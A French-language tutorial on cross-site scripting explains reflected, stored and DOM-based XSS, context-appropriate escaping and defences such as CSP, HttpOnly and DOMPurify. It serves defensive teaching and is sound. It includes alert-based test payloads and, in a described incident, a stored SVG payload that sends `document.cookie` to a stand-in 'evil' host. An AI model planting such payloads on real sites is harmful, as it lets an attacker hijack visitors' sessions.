XSS en pratique : stockées, reflétées, DOM
XSS = exécuter TON JavaScript dans le navigateur de TES users (vol de session, actions en leur nom, keylogging).
Prérequis : cours précédent ; injections, XSS et CSRF.
Pourquoi
XSS = exécuter TON JavaScript dans le navigateur de TES users (vol de session, actions en leur nom, keylogging). N°2 durable de l'OWASP : parce que chaque endroit qui affiche une donnée est une cible.
Concepts
- Réfléchie : payload dans l'URL/erreur, exécuté de suite (phishing + lien piégé). Stockée : en base, servie à tous (commentaire, pseudo — la grave). DOM : 100 % côté client (
innerHTMLsurlocation.hash…), invisible au serveur/WAF ! - Contexte d'échappement : HTML (
<), attribut ("), JS (\uXXXX), URL (%20) — échapper pour le MAUVAIS contexte = inefficace. D'où : framework qui échappe par défaut (React{}), jamaisdangerouslySetInnerHTMLsans sanitize (DOMPurify). - Défense en profondeur : CSP (bloque l'inline même si injecté), HttpOnly (cookies inaccessibles au JS volé),
X-Content-Type-Options.
Exemple : les 3 tests minute
?q=<script>alert(1)</script> → réfléchie ?
Pseudo : <img src=x onerror=alert(1)> → stockée ?
#<img src=x onerror=alert(2)> → DOM (innerHTML) ?
Cas réel
Pseudo <svg onload=fetch(evil?c=+document.cookie)> accepté tel quel, affiché sur chaque page : toutes les sessions visiteuses exfiltrées pendant 2 semaines. Correctif : échappement framework + CSP + HttpOnly (qui a limité : cookies HttpOnly non volés — d'où leur importance !).
Pièges
dangerouslySetInnerHTML« juste pour le Markdown » : Markdown → HTML = XSS si non sanitizé. DOMPurify systématique.- CSP en
unsafe-inline« pour faire marcher le site » : annule 90 % de la protection. Nonces/hashes à la place. - Tester connecté admin uniquement : la stockée frappe les autres rôles — tester chaque rôle.
À retenir
3 types (réfléchie/stockée/DOM), échapper au bon contexte, framework par défaut, CSP + HttpOnly en filet.